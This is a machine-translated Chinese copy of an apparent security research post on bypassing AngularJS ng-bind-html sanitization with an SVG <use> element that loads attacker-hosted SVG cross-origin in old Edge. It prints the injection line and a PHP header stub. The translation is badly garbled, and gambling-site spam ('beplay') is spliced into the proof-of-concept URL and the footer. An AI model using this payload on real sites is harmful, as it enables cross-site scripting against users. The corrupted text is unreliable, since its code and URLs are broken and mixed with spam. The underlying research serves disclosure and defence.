绕过AngularJS绑定HTML

AngularJS绑定HTML旁路

在测试内部SVG清洁剂时,我花了一些时间看着采用元素。基本上它允许您引用其他SVG元素,并将其包含在SVG文档中。您可以使用哈希参考同源URL或链接到页面上的某些ID。我在内部报告了这个问题,但它被拒绝,因为你需要将SVG上传到同一个原点以便利用它。所以当然我的下一个想法是让它工作交叉起源。Chrome,Firefox和Safari都防止SVG被包括交叉来源。虽然老边不同,但是可以包括来自不同的原点的SVG,只要您包括结束标题访问 - 允许 - 横向原点:*。最初我在外部SVG中包含了一个JavaScript URL,虽然元素是可点击的JavaScript URL未调用警报

我修改了该文件并尝试注射一个onclick.事件和我的惊喜onclick.事件从外部域触发。我仔细检查域是通过调用的目标域警报(Document.Domain)谢天谢地,它显示了正确的域名。然后发现您可以修改外部SVG,并使向量自动执行,无需点击使用图片元素。

注射是:

<使用href =“//子域1.portswibeplay官网可以赌gger-labs.net/use_element/upload.php#x”/>

这是外部SVG的样子:

<?PHP.
标题(“访问控制允许原点:*“);
标题(“Content-type:image / svg + xml”);
?>



然后,我测试了AngularJS,它也在那里工作,因为它们在版本<1.5.0中允许SVG。这是在AngularJS 1.4.9上工作的完整概念证明。

AngularJS NG-BIND-HTML绕过概念证明。

请注意,稍后版本的AngularJS不易受攻击,因为它们不允许SVG。

返回所有文章

相关的研究

每日SWIG的推荐故事beplay2018官网